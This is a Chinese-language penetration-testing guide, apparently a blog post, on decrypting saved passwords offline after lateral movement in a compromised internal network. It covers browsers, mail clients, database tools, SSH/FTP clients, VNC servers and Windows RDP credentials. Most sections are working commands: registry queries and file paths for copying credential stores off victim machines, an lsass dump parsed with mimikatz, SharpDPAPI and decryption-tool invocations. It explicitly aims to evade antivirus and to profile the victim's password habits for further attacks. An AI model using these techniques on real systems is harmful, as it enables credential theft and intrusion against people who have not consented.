内网软件密码离线解密
前言
目前随着企业人员安全意识的提高,在真实环境中进行内网横向时大部分情况会遇到防护软件,网上公开的大部分软件密码解密工具,都需要在被攻击者的机器上面运行,在此期间可能会涉及到运行环境、杀软等多种情况,导致解密失败。
本文搜集并总结了下内网中比较常见的一些软件的离线解密方法,包括最新版本和旧版本,适用于部分条件较为苛刻的真实环境中。后续可以根据获得的足够多的密码样本来分析该机主的密码设置方式和使用习惯,从而进行针对性的攻击利用。
360安全浏览器离线解密
首先切到指定用户权限下,获取机器id,把assis2.db账密数据库文件拖回本地执行解密
1 | reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid" |
1 | C:\Users\tale\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis |
执行解密
1 | 360SafeBrowserDecrypt.exe 8efb8f7a-3ad6-4b78-b654-e4a433d76843 assis2.db |
Firefox 离线解密
打包firedox文件
C:\Users\tale\AppData\Roaming\Mozilla*.*
本地解密
运行python firefox_decrypt.py
最后进行本地解密,如果对方没有设置管理密码,直接回车即可看到结果
注:如直接从webshell或cs上打包,需切到指定用户权限下,关闭firefox进程。
然后进行打包完整用户数据库并拖回本地
Chrome 离线解密
条件:
1.用户明文的密码,用于解密加密密钥(可以利用Masterkey离线导出Chrome浏览器中保存的密码,不需要获得用户的明文口令)
2.加密密钥(即主密钥文件),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件
3.数据库文件登录数据即Login Data
4.Chrome密码还原工具ChromePass
下载地址http://www.nirsoft.net/utils/chromepass.html
加密密钥(即主密钥文件),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件
C:\Users\tale\AppData\Roaming\Microsoft\Protect
数据库文件登录数据:
C:\Users\tale\AppData\Local\Google\Chrome\User Data\Default\Login Data
FileZilla 客户端离线解密
filezilla 客户端的账密默认都是以base64存的,故解码下即可得到明文
存放路径C:\Users\tale\AppData\Roaming\FileZilla
1 | # dir %appdata%\FileZilla |
Foxmail 离线解密
将Account.rec0文件拖回本地,该文件默认存放于Foxmail安装目录下的 Storage目录中
注:每个邮箱都对应一个单独的Account.rec0,如果有多个邮箱那就把所有的Account.rec0 文件都拖回来
C:\Foxmail 7.2\Storage[uhs0904019202@163.com](mailto:uhs0904019202@163.com)\Accounts
本地加载解密
https://securityxploded.com/foxmail-password-decryptor.php
Thunderbird 离线解密
Mozilla Thunderbird(中文俗称“雷鸟”)是从Mozilla Application Suite独立出来的电子邮件客户端。
切到指定用户权限下,然后直接把数据目录下Thunderbird 的用户数据完整打包拖回本地里解密即可
1 | # dir %appdata%\Thunderbird\Profiles |
Navicat 离线解密
Navicat在内网中遇见的比较多,很多情况下都默认保存了用户密码。
在Navicat中保存的所有连接账密,都是直接存到对应注册表项值下的
可直接以此来获取各类数据库的连接ip,端口,账号,密码hash,不同的数据库连接信息在注册表中的存放位置稍有不同,以mysql为例:
一、mysql数据库连接账密具体存放位置
1 | MySQL |
二、查询当前用户的所有连接记录
1 | # reg query HKEY_CURRENT_USER\Software\PremiumSoft |
三、查询Mysql连接账密
1 | # reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers |
四、 hash本地解密
1 | python3 NavicatCipher.py dec B4931811A172BE7059B8 |
或者如下php代码:
1 | <html> |
Mysql 离线本地解析
条件:需mysql5.0版本
1、将目标Mysql data目录下的user.frm ,user.MYD ,user.MYI 文件托回来
2、本地安装MySQL Server,装完之后立即停掉服务,将拖回来的那三个文件分别丢到 C:\Program Files\MySQL\MySQL Server\data\mysql 目录下进行替换
3、修改Mysql服务配置文件
C:\Program Files\MySQL\MySQL Server\my.ini
在mysqld配置项下添加如下配置,之后启动 Mysql服务
1 | skip-grant-tables |
4、无需密码直接登录mysql执行,即可拿到完整的密码hash
1 | mysql> select user,password,host from mysql.user; |
解密hash*A6FC877475CA625B65AD5C01F3C23EBE034B1D0B
PLSQL Developer离线解密
PL/SQL Developer,一个用于在Oracle数据库环境中开发软件的集成开发环境,专注于PL/SQL存储程序单元的开发。
一、PLSQL Developer默认连接账密保存位置位于当前用户如下路径的user.prefs文件中,账号和密码的加密方式比较简单,只是简单异或
1 | C:\Users\tale\AppData\Roaming\PLSQL Developer\Preferences\<username>\ |
二、user.prefs文件需关注LogonHistory和CurrentConnections下的内容,此处的每一行都代表一条单独的连接记录
实质保存的就是以下内容进行的加密
三、将LogonHistoryCurrentConnections下的内容原样粘回本地,在代码中替换,解密即可
1 | using System; |
Xshell、Xftp离线解密
Xshell和Xftp中保存的连接账号密码都默认放在了本地的配置文件中加密存放。
以Xshell为例,Xftp的解密过程相同
一、首先,切到xshell安装用户下,定位文件路径,针对不同版本的产品,连接会话文件的默认存放位置稍有不同
4.x以下的版本,基本放在了当前用户数据目录下的NetSarang目录中,
1 | # dir %appdata% |
5.x之后的版本,默认放在了当前用户的Documents目录下的NetSarang 目录中
1 | # dir "%userprofile%\Documents\NetSarang\Xshell\Sessions" # dir "%userprofile%\Documents\NetSarang\Xftp\Sessions" |
6.x之后的版本,放在了当前用户的Documents目录下,目录改了名叫 “NetSarang Computer”
1 | # dir "%userprofile%\Documents" |
二、 然后批量提取所有会话文件中的连接ip,端口,账号,密码hash,另外还有当前用户名以及当前用户的sid
注:5.0以下的版本无需用户名和sid
4.x 以下版本
1 | # cd C:\Users\tale\AppData\Roaming\NetSarang\Xshell\Sessions |
5.x 版本
1 | # cd C:\Users\tale\Documents\NetSarang\Xshell\Sessions |
6.x 版本
1 | # cd C:\Users\tale\Documents\NetSarang Computer\6\Xshell\Sessions |
三、将获取的信息粘回本地解密
4.x 解密
c:\Python38\python.exe XShellCryptoHelper.py -d -ver 5.0 yq6eVPz4qERzkwXXX==
5.x 解密
c:\Python38\python.exe XShellCryptoHelper.py -d -ver 5.1 -user majun -sid S-1-5-21-2822152782-4156995639-893189310-1000 JepcR/nMFLmM8gNFXXX*
6.x 解密
c:\Python38\python.exe XShellCryptoHelper.py -d -ver 6.0 -user WangJuan -sid S-1-5-21-2637387663-1902877020-2618282464-XXX uX/QNt0PwbZ7rwNFBISFDEoKsXXX*****
SecureCRT 离线解密
一、切到指定用户权限下,默认都存放在当前用户数据目录下的Config目录下的Sessions目录中,以.ini命名
1 | # dir %APPDATA%\VanDyke\Config\Sessions |
二、批量提取所有会话文件中的连接IP、端口、账号及密码hash如下:
以8.0版本为例
1 | # findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password V2\"=" /c:"\"[SSH2] Port\"=" *.ini |
三、最后把密码hash粘回本地解密即可
8.0版本解密 (不带前面三位 “02:”)
1 | c:\Python38\python.exe SecureCRTCipher.py dec -v2 894b1f88420e3d9cfa89a7a06ab18d8e9e3ded949bdfgb1** |
Mobaxterm 离线解密
该软件连接信息默认全部加密存于注册表内。
一、第一种方式,无管理密码的解密,从注册表中读取连接信息和账密hash,测试MobaXterm版本为12.0 ,该版本不会强制为连接设置管理密码
然后带上目标机器名和MobaXterm的安装用户进行hash本地解密
1 | c:\Python38\python.exe MobaXtermCipher.py dec -sysh tale -sysu administrator -h 192.168.0.1 -u root +ARTYMdvHihPWokIa5KdDcjfIjb7pV1SFQD*** |
二、第二种方式,带管理密码的解密
此处测试的MobaXterm为20.0,该版本每次连接都会强制你设置管理密码
1 | # reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P |
WinSCP 离线解密
一、WinSCP账号密码保存位置
默认是直接加密保存在注册表中的,当然也不排除部分管理员把它保存在WinSCP.ini配置文件中,实际中如果注册表里确实查不到东西,最好先去桌面看下工具里的选项设置是存到哪里了
二、切到指定用户权限下,查询注册表中保存的连接账密
1 | reg query x64 HKCU\Software\Martin Prikryl\WinSCP 2\Sessions |
1 | reg query x64 HKCU\Software\Martin Prikryl\WinSCP 2\Sessions\root@45.32.61.129 |
三、将上面的 hash 粘回本地解密
1 | # winscppwd.exe root 192.168.159.206 A35C4158201A0C7D2E3333286D656E726D6A64726D6965726E6C6A3D383135327D1C7F68691B58A20B8CEB61AC622D00A585 |
四、关于配置文件的解密
1 | shell dir %appdata% |
1 | # winscppwd.exe WinSCP.ini |
Royal TS 离线解密
切换到指定用户权限下,之后全盘搜”.rtsz” 文件,从中提取IP,账号,hash,以最新版Royal TS为例
1 | # cd c:\ |
把 hash 粘回本地解密即可,如果 “.rtsz” 文件加了管理密码,则需要先知道管理密码才能解密
VNC Server 离线解密
一、UltraVNC Server 解密
全盘搜ultravnc.ini配置文件,密码加密保存在内
1 | # dir c:\*vnc.ini /s /b |
二、TightVNC Server 解密
TightVNC的账密配置信息存在注册表里内
1 | # reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword |
工具解密:
三、 TigerVNC Server解密
TigerVNC Server的相关账密信息也存放在注册表中
1 | # reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password" |
四、RealVNC Server解密
RealVNC Server的相关账密信息也存放在注册表中,但是需要管理权限才能读取
1 | # reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password\ |
Windows RDP凭据管理解密
一、先切到指定用户权限下,执行如下命令查看目标Windows凭据管理器中是否保存有各种系统连接账密
1 | # cmdkey /l |
二、查看凭据文件并尝试dump目标系统lsass.exe进程数据,
注:某些杀软目前会拦截此操作
1 | # whoami /user |
三、将Dump的文件托回本地,离线解析获取当前用户的GUID和sha1 hash,后续需要利用该值解密数据
1 | # mimikatz.exe "privilege::debug" "log master.lgos" "sekurlsa::minidump lsass.dmp" "sekurlsa::dpapi" "exit" |
四、之后使用SharpDPAPI.exe利用上面的hash进行解密
解密保存在目标本地的Rdp连接账密
1 | # SharpDPAPI.exe credentials {a4294d6d-1baa-45fb-a5f3-aaa57e3fc69e}:0d6323ac1fa3da97a7b1914440cbd1dde5386935 |
FinalShell
FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具,充分满足开发,运维需求
连接信息存储在C:\Users\oneseven\AppData\Local\finalshell\conn\目录下 有多少条连接就会有多少个xxx_connect_config.json文件
用户登录时必须勾选记住密码,否则不会在xxx_connect_config.json文件中保存密码
离线解密:别人已经写好了的java代码
FinalShellDecodePass.java
DBeaver
dbeaver是免费和开源(GPL)为开发人员和数据库管理员通用数据库工具。易用性是该项目的主要目标,是经过精心设计和开发的数据库管理工具。
连接时勾选保存密码到本地
C:\Users\oneseven\AppData\Roaming\DBeaverData\workspace6\General.dbeaver\目录里.json文件中存放着数据库的连接信息和密码,credentials-config.json里是密码但做了加密
离线解密:使用openssl解密,将credentials-config.json文件放入当前目录
1 | openssl aes-128-cbc -d -K babb4a9f774ab853c96c2d653dfe544a -iv 00000000000000000000000000000000 -in credentials-config.json | dd bs=1 skip=16 |
总结
对内网渗透中常见的软件密码离线解密进行了总结,由于环境、防护设备等因素实战中也会遇到各种各样的问题,因此将一些解密工作转移到本机进行,从而提高成功率,后续也会结合实战继续对利用方法进行完善补充。